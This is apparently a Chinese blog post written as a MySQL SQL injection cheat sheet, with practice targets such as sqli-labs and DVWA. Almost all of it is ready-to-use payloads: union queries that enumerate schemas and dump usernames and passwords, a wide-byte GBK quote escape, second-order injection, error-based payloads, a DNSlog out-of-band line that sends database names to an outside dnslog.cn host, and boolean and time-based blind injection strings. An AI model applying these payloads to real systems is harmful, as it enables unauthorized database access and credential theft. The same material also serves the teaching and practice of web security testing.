Mysql注入

查数据库
union select null,schema_name,null from information_schema.schemata limit 1,1%23 

查数据表: 
union select 1,table_name,3 from information_schema.tables where table_schema="security" limit 3,1%23

查字段
union select 1,column_name,3 from information_schema.columns where table_name="users" and table_schema="security" limit 2,1%23

查账户密码
union select 1,group_concat(username,0x3a,password),3 from users%23 

宽字节注入

当MySQL使用的是GBK编码时,0xbf5c会被当做一个字符(双字节字符),其中5c是"\"

%bf %df 都可用
当注入语句为http://127.0.0.1/test.php?id=2%bf'时
在数据库中bf会和转义符"\"形成一个双字节字符"縗",从而单引号逃逸

二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

注册 admin'#时 转义admin\'#,但'\'不会插入数据库,数据库依旧存入admin'#
$sql = "UPDATE users SET PASSWORD='123456789' where username='admin'#' and password='$curr_pass' ";

报错注入

floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

exp()
select * from test where id=1 and exp(~(select * from(select user())a));

OOB-带外注入 Dnslog 注入

当secure_file_priv为null,load_file就不能加载文件

union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#

\\\\转义后即为\\
select hex(database())为需要的查询语句,用hex()是因为构造UNC时不能有特殊符号,转化一下更好用。
.g5ucgd.dnslog.cn\\test转义后就变成了.g5ucgd.dnslog.cn\test,后面的test只是资源名字,随便起。
拼接起来后就成了\\bvwa.g5ucgd.dnslog.cn\test完全符合UNC的路径标准,解析后在DNSlog平台就能看到数据了。
使用hex()可以解决UNC特殊字符的问题,但是UNC的长度也不能超过128,自行看情况使用hex()

布尔盲注

猜数据库名长度
and length(database())=1%23

猜数据库字符
and ascii(substr(databse(),1,1))>97%23

猜表数量
and (select count (table_name) from information_schema.tables where table_schema=database())=1%23

猜表名长度
and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9

猜表名字符
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103

猜字段长度
and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7

猜字段字符
and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117

猜字段数据
and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97

时间盲注

猜数据库长度
and if(length(database()) = 8,sleep(2),1)%23
and if(ascii(substr(database(),8,1)),sleep(2),1) --+

猜数据库名
and if(ascii(substr(database(),1,1)) = 115,sleep(2),1) --+

猜表数量
and if((select count(table_name) from information_schema.tables where table_schema = database()) = 4,sleep(2),1) --+

猜表长度
and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1)),sleep(2),1) --+
and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 6,sleep(2),1) --+

猜表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 101,sleep(2),1) --

猜列数量
and if((select count(column_name) from information_schema.columns where table_name = 'users') = 3,sleep(2),1) --+

猜列长度
and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1)),sleep(2),1) --+
and if(length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 2,sleep(2),1) --+

猜列名
and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) =105,sleep(2),1) --+

猜字段长度
and if((select count(id) from users) = 13,sleep(2),1) --+
and if(length((select username from users limit 0,1)) = 4,sleep(2),1) --+

猜字段名
and if(ascii(substr((select username from users limit 0,1),1,1)) =68,sleep(2),1) --+

使用union select 查询 ,让if恒为真,再去添加字段个数,如果有请求演示,则说明字段个数正确,否则说明字段个数错误

http://192.168.1.101/Less-9/?id=1' union select if(1=1,sleep(2),1),2,3 --+
posted @ 2023-02-26 22:24  cowpokee  阅读(14)  评论(0编辑  收藏  举报